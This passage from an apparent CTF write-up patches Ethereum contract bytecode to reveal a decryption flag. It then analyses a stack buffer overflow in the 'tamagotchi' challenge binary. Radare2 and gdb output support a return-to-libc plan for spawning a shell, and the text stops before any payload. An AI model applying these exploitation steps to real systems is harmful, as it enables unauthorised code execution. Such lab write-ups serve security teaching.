|................|\r\n00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 60  |...............`|\r\n\r\n...\r\n\r\nJUMPDEST        pc=00000338 gas=9999999897 cost=1\r\nStack:\r\n00000000  0000000000000000000000000000000000000000000000000000000073637279\r\nMemory:\r\n00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 60  |...............`|\r\n\r\nSTOP            pc=00000339 gas=9999999896 cost=0\r\nStack:\r\n00000000  0000000000000000000000000000000000000000000000000000000073637279\r\nMemory:\r\n00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 60  |...............`|\r\n\r\n#### LOGS ####\r\n0x\r\n<\/pre>\n<p>Hm, doesn&#8217;t look like a decryption key. Something must go wrong here.<\/p>\n<p>Because I had some trouble running the bytecode I analyzed it a little bit in order to roughly understand what it is doing. On the wallet&#8217;s main page shown above the bytecode can also be displayed as assembler instructions (<code>Switch To Opcodes View<\/code>). When I analyzed the instructions the following section looked suspicious:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n...\r\nPUSH7 0x2386f26fc10000\r\nCALLVALUE\r\nLT\r\nPUSH2 0x0152\r\nJUMPI\r\n...\r\n<\/pre>\n<p>The meaning of the instructions can be looked up here: https:\/\/ethereum.github.io\/yellowpaper\/paper.pdf (page 23 ff).<\/p>\n<p>The first instruction pushes the value <code>0x2386f26fc10000<\/code> on the stack. The instruction <code>CALLVALUE<\/code> is defined as the following: <i>Get deposited value by the instruction\/transaction responsible for this execution.<\/i> Thus it puts the deposited value on the stack which is then compared to the formerly pushed value by the third instruction: <code>LT<\/code>. If the callvalue is less than <code>0x2386f26fc10000<\/code> the following <code>JUMPI<\/code> to <code>0x0512<\/code> is taken.<\/p>\n<p>These instructions can also be found in the output of <code>evm<\/code> (the memory is cut from the output):<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [13,19,28]; title: ; notranslate\" title=\"\">\r\n...\r\nPUSH7           pc=00000065 gas=9999999918 cost=3\r\nStack:\r\n00000000  0000000000000000000000000000000000000000000000000000000073637279\r\n\r\nCALLVALUE       pc=00000073 gas=9999999915 cost=2\r\nStack:\r\n00000000  000000000000000000000000000000000000000000000000002386f26fc10000\r\n00000001  0000000000000000000000000000000000000000000000000000000073637279\r\n\r\nLT              pc=00000074 gas=9999999913 cost=3\r\nStack:\r\n00000000  0000000000000000000000000000000000000000000000000000000000000000\r\n00000001  000000000000000000000000000000000000000000000000002386f26fc10000\r\n00000002  0000000000000000000000000000000000000000000000000000000073637279\r\n\r\nPUSH2           pc=00000075 gas=9999999910 cost=3\r\nStack:\r\n00000000  0000000000000000000000000000000000000000000000000000000000000001\r\n00000001  0000000000000000000000000000000000000000000000000000000073637279\r\n\r\nJUMPI           pc=00000078 gas=9999999907 cost=10\r\nStack:\r\n00000000  0000000000000000000000000000000000000000000000000000000000000152\r\n00000001  0000000000000000000000000000000000000000000000000000000000000001\r\n00000002  0000000000000000000000000000000000000000000000000000000073637279\r\n\r\nJUMPDEST        pc=00000338 gas=9999999897 cost=1\r\nStack:\r\n00000000  0000000000000000000000000000000000000000000000000000000073637279\r\n<\/pre>\n<p>The relevant parts are highlighted. The <code>CALLVALUE<\/code> instruction pushes <code>0<\/code> on the stack (line 13). Thus the less-than-comparison results in <code>true = 1<\/code> (line 19). Because of that the <code>JUMPI<\/code> is taken and the pc proceeds at <code>338 = 0x152<\/code> (line 28).<\/p>\n<p>Let&#8217;s patch the bytecode in order to prevent the jump from being taken. A quite easy way is just to adjust the value pushed on the stack. I changed it from <code>0x2386f26fc10000<\/code> to <code>0x00000000000000<\/code>. By doing so, the less-than-comparison result in <code>false = 0<\/code> and the jump is not taken.<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ tail -c 850 bytecode.txt | head -c 100\r\n00000600035041663ea8796348114610154575b662386f26fc100003410610152577fec29ee18c83562d4f2e0ce62e388297\r\n\r\nuser@host:~$ tail -c 850 bytecode_patched.txt | head -c 100\r\n00000600035041663ea8796348114610154575b66000000000000003410610152577fec29ee18c83562d4f2e0ce62e388297\r\n<\/pre>\n<p>Rerun <code>evm<\/code> with the patched bytecode:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ .\/evm --input 7363727968 --debug --codefile bytecode_patched.txt run\r\n#### TRACE ####\r\nPUSH1           pc=00000000 gas=10000000000 cost=3\r\n\r\nPUSH1           pc=00000002 gas=9999999997 cost=3\r\nStack:\r\n00000000  0000000000000000000000000000000000000000000000000000000000000060\r\n\r\nMSTORE          pc=00000004 gas=9999999994 cost=12\r\nStack:\r\n00000000  0000000000000000000000000000000000000000000000000000000000000040\r\n00000001  0000000000000000000000000000000000000000000000000000000000000060\r\nMemory:\r\n00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n\r\n...\r\n\r\nSTOP            pc=00000339 gas=9999997036 cost=0\r\nStack:\r\n00000000  0000000000000000000000000000000000000000000000000000000073637279\r\nMemory:\r\n00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 60  |...............`|\r\n00000060  23 10 9b 1a 4c 08 bd 64  c3 41 10 39 54 06 e5 f4  |#...L..d.A.9T...|\r\n00000070  dc 8e 1b fd 87 3e f3 98  2a 23 b7 83 55 03 25 b2  |.....&amp;amp;amp;amp;gt;..*#..U.%.|\r\n00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 40  |...............@|\r\n000000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n000000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 11  |................|\r\n000000c0  59 6f 75 72 20 6b 65 79  20 69 73 20 68 65 72 65  |Your key is here|\r\n000000d0  2e 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n\r\n#### LOGS ####\r\nLOG1: 0000000000000000000000007265636569766572 bn=0 txi=0\r\n00000000  ec29ee18c83562d4f2e0ce62e38829741c2901da844c015385a94d8c9f03d486\r\n00000000  23 10 9b 1a 4c 08 bd 64  c3 41 10 39 54 06 e5 f4  |#...L..d.A.9T...|\r\n00000010  dc 8e 1b fd 87 3e f3 98  2a 23 b7 83 55 03 25 b2  |.....&amp;amp;amp;amp;gt;..*#..U.%.|\r\n00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 40  |...............@|\r\n00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 11  |................|\r\n00000060  59 6f 75 72 20 6b 65 79  20 69 73 20 68 65 72 65  |Your key is here|\r\n00000070  2e 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n<\/pre>\n<p>Here we go!<\/p>\n<p>My decryption key is <code><span class=\"spanFlag\">23109b1a4c08bd64c34110395406e5f4dc8e1bfd873ef3982a23b783550325b2<\/span><\/code>.<\/p>\n<hr \/>\n<h1 id=\"day21\">Day 21: tamagotchi<\/h1>\n<table style=\"background-color:#eeeeee;\">\n<tr>\n<td width=\"90\">\n<center><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/final_64.png\" alt=\"\" width=\"64\" height=\"64\" class=\"alignnone size-full wp-image-188\" \/><br \/>\n<\/center><\/td>\n<td><span style=\"color:#666666; font-size:smaller;\">Author: muffinX<\/span><br \/>\n<i>ohai fuud or gtfo<\/i><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" style=\"padding:5px 20px 5px 20px;\">ohai<\/p>\n<p>I&#8217;m a little tamagotchi who wants fuuuuud, pls don&#8217;t giveh me too much or I&#8217;ll crash&#8230;<\/p>\n<p>nc challenges.hackvent.hacking-lab.com 31337<br \/>\n<span style=\"color:#888888;text-decoration:underline;\">File #1: tamagotchi<\/span><br \/>\n<span style=\"color:#888888;text-decoration:underline;\">File #2: libc-2.26.so<\/span><\/td>\n<\/tr>\n<\/table>\n<p>Let&#8217;s start by checking out what the tamagotchi does:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ chmod 755 tamagotchi\r\nuser@host:~$ .\/tamagotchi\r\n\u00c2\u00b0\u00c2\u00ba\u00c2\u00a4\u00c3\u00b8,\u00c2\u00b8\u00c2\u00b8,\u00c3\u00b8\u00c2\u00a4\u00c2\u00ba\u00c2\u00b0`\u00c2\u00b0\u00c2\u00ba\u00c2\u00a4\u00c3\u00b8,\u00c2\u00b8,\u00c3\u00b8\u00c2\u00a4\u00c2\u00b0\u00c2\u00ba\u00c2\u00a4\u00c3\u00b8,\u00c2\u00b8\u00c2\u00b8,\u00c3\u00b8\u00c2\u00a4\u00c2\u00ba\u00c2\u00b0`\u00c2\u00b0\u00c2\u00ba\u00c2\u00a4\u00c3\u00b8,\u00c2\u00b8\r\n\u00c2\u00b0\u00c2\u00ba\u00c2\u00a4\u00c3\u00b8,\u00c2\u00b8\u00c2\u00b8,\u00c3\u00b8\u00c2\u00a4\u00c2\u00ba\u00c2\u00b0  TAMAGOTCHI   \u00c2\u00b8\u00c2\u00b8,\u00c3\u00b8\u00c2\u00a4\u00c2\u00ba\u00c2\u00b0`\u00c2\u00b0\u00c2\u00ba\u00c2\u00a4\u00c3\u00b8,\u00c2\u00b8\r\n\u00c2\u00b0\u00c2\u00ba\u00c2\u00a4\u00c3\u00b8,\u00c2\u00b8\u00c2\u00b8,\u00c3\u00b8\u00c2\u00a4\u00c2\u00ba\u00c2\u00b0`\u00c2\u00b0\u00c2\u00ba\u00c2\u00a4\u00c3\u00b8,\u00c2\u00b8,\u00c3\u00b8\u00c2\u00a4\u00c2\u00b0\u00c2\u00ba\u00c2\u00a4\u00c3\u00b8,\u00c2\u00b8\u00c2\u00b8,\u00c3\u00b8\u00c2\u00a4\u00c2\u00ba\u00c2\u00b0`\u00c2\u00b0\u00c2\u00ba\u00c2\u00a4\u00c3\u00b8,\u00c2\u00b8\r\n\r\n                __O__\r\n              .'     '.\r\n            .'         '.\r\n           .  _________  .\r\n           : |   .-.   | :\r\n          :  |  ( - )  |  :      - ohai! pls food!\r\n          :  |   &amp;amp;amp;amp;quot; &amp;amp;amp;amp;quot;   |  :\r\n          :  |_________|  :\r\n           |             |\r\n           '   O     O   '\r\n            ',    O    ,'\r\n              '.......        | simple challenge by muffinx (twitter.com\/muffiniks)\r\n\r\n&#x5B;MENU]\r\n1.) eat\r\n2.) bye\r\n&#x5B;ch01c3]&amp;amp;amp;amp;gt; \r\n1\r\n&#x5B;f00d]&amp;amp;amp;amp;gt; \r\nfoooood\r\n&#x5B;+] nom nom nom \r\n&#x5B;ch01c3]&amp;amp;amp;amp;gt; \r\n2\r\n&#x5B;+] bye bye\r\n<\/pre>\n<p>So the menu offers two functions:<br \/>\n1) eat<br \/>\n&#8211;> another prompt appears for food to enter<br \/>\n&#8211;> after entering some food, the tamagotchi eats our input (<code>nom nom nom<\/code>)<br \/>\n2) bye<br \/>\n&#8211;> just quit the program<\/p>\n<p>According to the challenge description the tamagotchi should not get too much food or it&#8217;ll crash. Thus it&#8217;s quite obvious that there exists some kind of overflow vulnerability. Let&#8217;s have a look using <code>radare2<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [45,46,65,74,79]; title: ; notranslate\" title=\"\">\r\nuser@host:~$ r2 tamagotchi\r\n&#x5B;0x00400500]&amp;amp;amp;amp;gt; aaaa\r\n&#x5B;x] Analyze all flags starting with sym. and entry0 (aa)\r\n&#x5B;x] Analyze len bytes of instructions for references (aar)\r\n&#x5B;x] Analyze function calls (aac)\r\n&#x5B;x] Emulate code to find computed references (aae)\r\n&#x5B;x] Analyze consecutive function (aat)\r\n&#x5B;aav: using from to 0x400000 0x4021e8\r\nUsing vmin 0x400000 and vmax 0x601058\r\naav: using from to 0x400000 0x4021e8\r\nUsing vmin 0x400000 and vmax 0x601058\r\n&#x5B;x] Analyze value pointers (aav)\r\n&#x5B;can't find function prototype for sym.show_titlem.func.* functions (aan)\r\ncan't find function prototype for sym.show_menu\r\ncan't find function prototype for sym._init\r\ncan't find function prototype for sub.__gmon_start___248_4f0\r\nDeinitialized mem.0x100000_0xf0000\r\n&#x5B;x] Type matching analysis for all functions\r\n&#x5B;x] Type matching analysis for all functions\r\n0x0\r\n...\r\n&#x5B;0x00400500]&amp;amp;amp;amp;gt; afl\r\n0x00400478    3 26           sym._init\r\n0x004004b0    2 16   -&amp;amp;amp;amp;gt; 32   sym.imp.puts\r\n0x004004c0    2 16   -&amp;amp;amp;amp;gt; 48   sym.imp.__libc_start_main\r\n0x004004d0    2 16   -&amp;amp;amp;amp;gt; 48   sym.imp.fgets\r\n0x004004e0    2 16   -&amp;amp;amp;amp;gt; 48   sym.imp.atoi\r\n0x004004f0    1 16           sub.__gmon_start___248_4f0\r\n0x00400500    1 41           entry0\r\n0x00400530    4 50   -&amp;amp;amp;amp;gt; 41   sym.deregister_tm_clones\r\n0x00400570    3 53           sym.register_tm_clones\r\n0x004005b0    3 28           sym.__do_global_dtors_aux\r\n0x004005d0    4 38   -&amp;amp;amp;amp;gt; 35   sym.frame_dummy\r\n0x004005f6    1 176          sym.show_title\r\n0x004006a6    1 36           sym.show_menu\r\n0x004006ca    8 212          sym.main\r\n0x004007a0    4 101          sym.__libc_csu_init\r\n0x00400810    1 2            sym.__libc_csu_fini\r\n0x00400814    1 9            sym._fini\r\n&#x5B;0x00400500]&amp;amp;amp;amp;gt; pdf @ sym.main \r\n            ;-- main:\r\n\/ (fcn) sym.main 212\r\n|   sym.main ();\r\n|           ; var int local_4d0h @ rbp-0x4d0\r\n|           ; var int local_d0h @ rbp-0xd0\r\n|           ; var int local_8h @ rbp-0x8\r\n|           ; var int local_4h @ rbp-0x4\r\n|           ; DATA XREF from 0x0040051d (entry0)\r\n|           0x004006ca      55             push rbp\r\n|           0x004006cb      4889e5         mov rbp, rsp\r\n|           0x004006ce      4881ecd00400.  sub rsp, 0x4d0\r\n|           0x004006d5      c745fc010000.  mov dword &#x5B;rbp - local_4h], 1\r\n|           0x004006dc      c745f8000000.  mov dword &#x5B;rbp - local_8h], 0\r\n|           0x004006e3      b800000000     mov eax, 0\r\n|           0x004006e8      e809ffffff     call sym.show_title\r\n|           0x004006ed      b800000000     mov eax, 0\r\n|           0x004006f2      e8afffffff     call sym.show_menu\r\n|       ,=&amp;amp;amp;amp;lt; 0x004006f7      e996000000     jmp 0x400792\r\n|      .--&amp;amp;amp;amp;gt; 0x004006fc      bf630a4000     mov edi, str._ch01c3__      ; &amp;amp;amp;amp;quot;&#x5B;ch01c3]&amp;amp;amp;amp;gt; &amp;amp;amp;amp;quot; @ 0x400a63 ; const char * s\r\n|      ||   0x00400701      e8aafdffff     call sym.imp.puts          ; int puts(const char *s);\r\n|      ||   0x00400706      488b153b0920.  mov rdx, qword &#x5B;obj.stdin]  ; &#x5B;0x601048:8]=0x654428203a434347 rdx LEA loc.stdin ; ...\r\n|      ||   0x0040070d      488d8530fbff.  lea rax, qword &#x5B;rbp - local_4d0h]\r\n|      ||   0x00400714      be00040000     mov esi, 0x400              ; int size\r\n|      ||   0x00400719      4889c7         mov rdi, rax                ; char *s\r\n|      ||   0x0040071c      e8affdffff     call sym.imp.fgets         ; char *fgets(char *s, int size, FILE *stream);\r\n|      ||   0x00400721      488d8530fbff.  lea rax, qword &#x5B;rbp - local_4d0h]\r\n|      ||   0x00400728      4889c7         mov rdi, rax                ; const char * str\r\n|      ||   0x0040072b      b800000000     mov eax, 0\r\n|      ||   0x00400730      e8abfdffff     call sym.imp.atoi          ; int atoi(const char *str);\r\n|      ||   0x00400735      8945f8         mov dword &#x5B;rbp - local_8h], eax\r\n|      ||   0x00400738      837df801       cmp dword &#x5B;rbp - local_8h], 1 ; &#x5B;0x1:4]=0x2464c45\r\n|     ,===&amp;amp;amp;amp;lt; 0x0040073c      7531           jne 0x40076f\r\n|     |||   0x0040073e      bf6e0a4000     mov edi, str._f00d__        ; &amp;amp;amp;amp;quot;&#x5B;f00d]&amp;amp;amp;amp;gt; &amp;amp;amp;amp;quot; @ 0x400a6e\r\n|     |||   0x00400743      e868fdffff     call sym.imp.puts          ; int puts(const char *s);\r\n|     |||   0x00400748      488b15f90820.  mov rdx, qword &#x5B;obj.stdin]  ; &#x5B;0x601048:8]=0x654428203a434347 rdx LEA loc.stdin ; ...\r\n|     |||   0x0040074f      488d8530ffff.  lea rax, qword &#x5B;rbp - local_d0h]\r\n|     |||   0x00400756      be00040000     mov esi, 0x400\r\n|     |||   0x0040075b      4889c7         mov rdi, rax\r\n|     |||   0x0040075e      e86dfdffff     call sym.imp.fgets         ; char *fgets(char *s, int size, FILE *stream);\r\n|     |||   0x00400763      bf770a4000     mov edi, str.____nom_nom_nom ; &amp;amp;amp;amp;quot;&#x5B;+] nom nom nom &amp;amp;amp;amp;quot; @ 0x400a77\r\n|     |||   0x00400768      e843fdffff     call sym.imp.puts          ; int puts(const char *s);\r\n|    ,====&amp;amp;amp;amp;lt; 0x0040076d      eb23           jmp 0x400792\r\n|    |`---&amp;amp;amp;amp;gt; 0x0040076f      837df802       cmp dword &#x5B;rbp - local_8h], 2 ; &#x5B;0x2:4]=0x102464c\r\n|    |,===&amp;amp;amp;amp;lt; 0x00400773      7513           jne 0x400788\r\n|    ||||   0x00400775      bf880a4000     mov edi, str.____bye_bye    ; &amp;amp;amp;amp;quot;&#x5B;+] bye bye&amp;amp;amp;amp;quot; @ 0x400a88\r\n|    ||||   0x0040077a      e831fdffff     call sym.imp.puts          ; int puts(const char *s);\r\n|    ||||   0x0040077f      c745fc000000.  mov dword &#x5B;rbp - local_4h], 0\r\n|   ,=====&amp;amp;amp;amp;lt; 0x00400786      eb0a           jmp 0x400792\r\n|   ||`---&amp;amp;amp;amp;gt; 0x00400788      bf940a4000     mov edi, str.____nope_      ; &amp;amp;amp;amp;quot;&#x5B;-] nope!&amp;amp;amp;amp;quot; @ 0x400a94 ; const char * s\r\n|   || ||   0x0040078d      e81efdffff     call sym.imp.puts          ; int puts(const char *s);\r\n|   || ||   ; JMP XREF from 0x004006f7 (sym.main)\r\n|   || ||   ; JMP XREF from 0x00400786 (sym.main)\r\n|   || ||   ; JMP XREF from 0x0040076d (sym.main)\r\n|   ``--`-&amp;amp;amp;amp;gt; 0x00400792      837dfc00       cmp dword &#x5B;rbp - local_4h], 0\r\n|      `==&amp;amp;amp;amp;lt; 0x00400796      0f8560ffffff   jne 0x4006fc\r\n|           0x0040079c      c9             leave\r\n\\           0x0040079d      c3             ret\r\n&#x5B;0x00400500]&amp;amp;amp;amp;gt; \r\n<\/pre>\n<p>The relevant parts are highlighted:<\/p>\n<p>The first call to <code>fgets<\/code> (line 65) will succeed without any errors. The maximum size to read passed to <code>fgets<\/code> is <code>0x400<\/code> (<code>esi<\/code> at <code>0x00400714<\/code> on line 63) and the buffer used is also <code>0x400<\/code> bytes long (<code>[rbp - local_4d0h]<\/code>). No overflow here.<\/p>\n<p>The second call to <code>fgets<\/code> (line 79) right after the prompt for food (<code>puts<\/code> on line 74) also passes a maximum size of <code>0x400<\/code> bytes (<code>esi<\/code> at <code>0x00400756<\/code> on line 77). But this time the used buffer (<code>[rbp - local_d0h]<\/code>) is not <code>0x400<\/code> bytes long! As we can see at the top where the local variables are declared the next variable after <code>[rbp - local_d0h]<\/code> is <code>[rbp - local_8h]<\/code> (lines 45-46). This means that the buffer used is only <code>0xd0 - 0x8 = 0xc8 = 200<\/code> bytes long! If we feed more food to the tamagotchi we can cause a bufferoverflow and overwrite the return-address on the stack.<\/p>\n<p>Before doing this we need some additional information. The kind of exploit we will use depends on the security mechanisms that are enabled. In <code>radare2<\/code> we can use the command <code>iI<\/code> to get detailed information about the current file:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [14,23]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x00400500]&amp;amp;amp;amp;gt; iI\r\ntype     EXEC (Executable file)\r\nfile     tamagotchi\r\nfd       6\r\nsize     0x21e8\r\niorw     false\r\nblksz    0x0\r\nmode     -r--\r\nblock    0x100\r\nformat   elf64\r\nhavecode true\r\npic      false\r\ncanary   false\r\nnx       true\r\ncrypto   false\r\nva       true\r\nintrp    \/lib64\/ld-linux-x86-64.so.2\r\nbintype  elf\r\nclass    ELF64\r\nlang     c\r\narch     x86\r\nbits     64\r\nmachine  AMD x86-64 architecture\r\nos       linux\r\nminopsz  1\r\nmaxopsz  16\r\npcalign  0\r\nsubsys   linux\r\nendian   little\r\nstripped false\r\nstatic   false\r\nlinenum  true\r\nlsyms    true\r\nrelocs   true\r\nrpath    NONE\r\nbinsz    6696\r\n<\/pre>\n<p>Along with other information we can see that <code>NX<\/code> is enabled. This means that memory regions like the stack are marked as non-executable. In a simple bufferoverflow exploit we would put some shellcode within our injected buffer and than make the return address point to that shellcode. With <code>NX<\/code> enabled the CPU wouldn&#8217;t execute our shellcode because it resides in a memory region marked as non-executable. Thus this kind of exploit fails.<\/p>\n<p>In order to exploit the bufferoverflow anyway we can use a technique called return to libc. This technique takes advantage of the fact, that nearly all programs make use of libraries like the standard c library libc. Libraries used by the program are mapped to the memory space of the program. These memory regions must be executed and thus cannot be marked as non-executable. If we find a function or part of a function in a library we could use, we can just set the return address to this address instead of a self injected shellcode. As we usually want to get a shell the libc-function <code>system(const char *cmd)<\/code> with the argument <code>\"\/bin\/sh\"<\/code> will do.<\/p>\n<p>Ok, let&#8217;s get to work and start by identifying the offset to the return address we want to overwrite. We can do this by creating a pattern with metasploit and feed this pattern to the tamagotchi. When the next return instruction is reached, the return address has been overwritten with our pattern and we can see at which position of the pattern the return address is. This way we can calculate the offset.<\/p>\n<p>Another thing to notice here (see radare2 disassembly above): the return instruction at <code>0x0040079d<\/code> is only reached, when we leave the program. Thus we have to feed the tamagotchi and then chose <code>2<\/code> (<code>bye<\/code>) in the menu in order to reach the return instruction.<\/p>\n<p>Let&#8217;s create a pattern (our buffer is 200 bytes long, so 250 bytes should suffice):<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ \/usr\/share\/metasploit-framework\/tools\/exploit\/pattern_create.rb -l 250\r\nAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7 ... Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A\r\n<\/pre>\n<p>Now I used <code>gdb<\/code> to feed the tamagotchi and inspect the return address:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ gdb tamagotchi\r\nGNU gdb (Debian 7.12-6) 7.12.0.20161007-git\r\nCopyright (C) 2016 Free Software Foundation, Inc.\r\nLicense GPLv3+: GNU GPL version 3 or later \r\nThis is free software: you are free to change and redistribute it.\r\nThere is NO WARRANTY, to the extent permitted by law.  Type &amp;amp;amp;amp;quot;show copying&amp;amp;amp;amp;quot;\r\nand &amp;amp;amp;amp;quot;show warranty&amp;amp;amp;amp;quot; for details.\r\nThis GDB was configured as &amp;amp;amp;amp;quot;x86_64-linux-gnu&amp;amp;amp;amp;quot;.\r\nType &amp;amp;amp;amp;quot;show configuration&amp;amp;amp;amp;quot; for configuration details.\r\nFor bug reporting instructions, please see:\r\n.\r\nFind the GDB manual and other documentation resources online at:\r\n.\r\nFor help, type &amp;amp;amp;amp;quot;help&amp;amp;amp;amp;quot;.\r\nType &amp;amp;amp;amp;quot;apropos word&amp;amp;amp;amp;quot; to search for commands related to &amp;amp;amp;amp;quot;word&amp;amp;amp;amp;quot;...\r\nReading symbols from tamagotchi...(no debugging symbols found)...done.\r\n(gdb) set disassembly-flavor intel\r\n(gdb) disassemble main\r\nDump of assembler code for function main:\r\n   0x00000000004006ca &amp;amp;amp;amp;lt;+0&amp;amp;amp;amp;gt;:\tpush   rbp\r\n   0x00000000004006cb &amp;amp;amp;amp;lt;+1&amp;amp;amp;amp;gt;:\tmov    rbp,rsp\r\n   0x00000000004006ce &amp;amp;amp;amp;lt;+4&amp;amp;amp;amp;gt;:\tsub    rsp,0x4d0\r\n   ...\r\n   0x000000000040078d &amp;amp;amp;amp;lt;+195&amp;amp;amp;amp;gt;:\tcall   0x4004b0 \r\n   0x0000000000400792 &amp;amp;amp;amp;lt;+200&amp;amp;amp;amp;gt;:\tcmp    DWORD PTR &#x5B;rbp-0x4],0x0\r\n   0x0000000000400796 &amp;amp;amp;amp;lt;+204&amp;amp;amp;amp;gt;:\tjne    0x4006fc \r\n   0x000000000040079c &amp;amp;amp;amp;lt;+210&amp;amp;amp;amp;gt;:\tleave  \r\n   0x000000000040079d &amp;amp;amp;amp;lt;+211&amp;amp;amp;amp;gt;:\tret    \r\nEnd of assembler dump.\r\ngdb) b *main+211\r\nBreakpoint 1 at 0x40079d\r\n<\/pre>\n<p>I started <code>gdb<\/code> with the binary, set my favorite disassembly-layout (intel), disassembled the main-function and then set a breakpoint to the return-instruction at <code>main+211<\/code>.<\/p>\n<p>Now we can run the program and feed the tamagotchi with our pattern:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb) r\r\nStarting program: \/root\/Downloads\/tamagotchi \r\n\u00c2\u00b0\u00c2\u00ba\u00c2\u00a4\u00c3\u00b8,\u00c2\u00b8\u00c2\u00b8,\u00c3\u00b8\u00c2\u00a4\u00c2\u00ba\u00c2\u00b0`\u00c2\u00b0\u00c2\u00ba\u00c2\u00a4\u00c3\u00b8,\u00c2\u00b8,\u00c3\u00b8\u00c2\u00a4\u00c2\u00b0\u00c2\u00ba\u00c2\u00a4\u00c3\u00b8,\u00c2\u00b8\u00c2\u00b8,\u00c3\u00b8\u00c2\u00a4\u00c2\u00ba\u00c2\u00b0`\u00c2\u00b0\u00c2\u00ba\u00c2\u00a4\u00c3\u00b8,\u00c2\u00b8\r\n\u00c2\u00b0\u00c2\u00ba\u00c2\u00a4\u00c3\u00b8,\u00c2\u00b8\u00c2\u00b8,\u00c3\u00b8\u00c2\u00a4\u00c2\u00ba\u00c2\u00b0  TAMAGOTCHI   \u00c2\u00b8\u00c2\u00b8,\u00c3\u00b8\u00c2\u00a4\u00c2\u00ba\u00c2\u00b0`\u00c2\u00b0\u00c2\u00ba\u00c2\u00a4\u00c3\u00b8,\u00c2\u00b8\r\n\u00c2\u00b0\u00c2\u00ba\u00c2\u00a4\u00c3\u00b8,\u00c2\u00b8\u00c2\u00b8,\u00c3\u00b8\u00c2\u00a4\u00c2\u00ba\u00c2\u00b0`\u00c2\u00b0\u00c2\u00ba\u00c2\u00a4\u00c3\u00b8,\u00c2\u00b8,\u00c3\u00b8\u00c2\u00a4\u00c2\u00b0\u00c2\u00ba\u00c2\u00a4\u00c3\u00b8,\u00c2\u00b8\u00c2\u00b8,\u00c3\u00b8\u00c2\u00a4\u00c2\u00ba\u00c2\u00b0`\u00c2\u00b0\u00c2\u00ba\u00c2\u00a4\u00c3\u00b8,\u00c2\u00b8\r\n\r\n                __O__\r\n              .'     '.\r\n            .'         '.\r\n           .  _________  .\r\n           : |   .-.   | :\r\n          :  |  ( - )  |  :      - ohai! pls food!\r\n          :  |   &amp;amp;amp;amp;quot; &amp;amp;amp;amp;quot;   |  :\r\n          :  |_________|  :\r\n           |             |\r\n           '   O     O   '\r\n            ',    O    ,'\r\n              '.......        | simple challenge by muffinx (twitter.com\/muffiniks)\r\n\r\n&#x5B;MENU]\r\n1.) eat\r\n2.) bye\r\n&#x5B;ch01c3]&amp;amp;amp;amp;gt; \r\n1\r\n&#x5B;f00d]&amp;amp;amp;amp;gt; 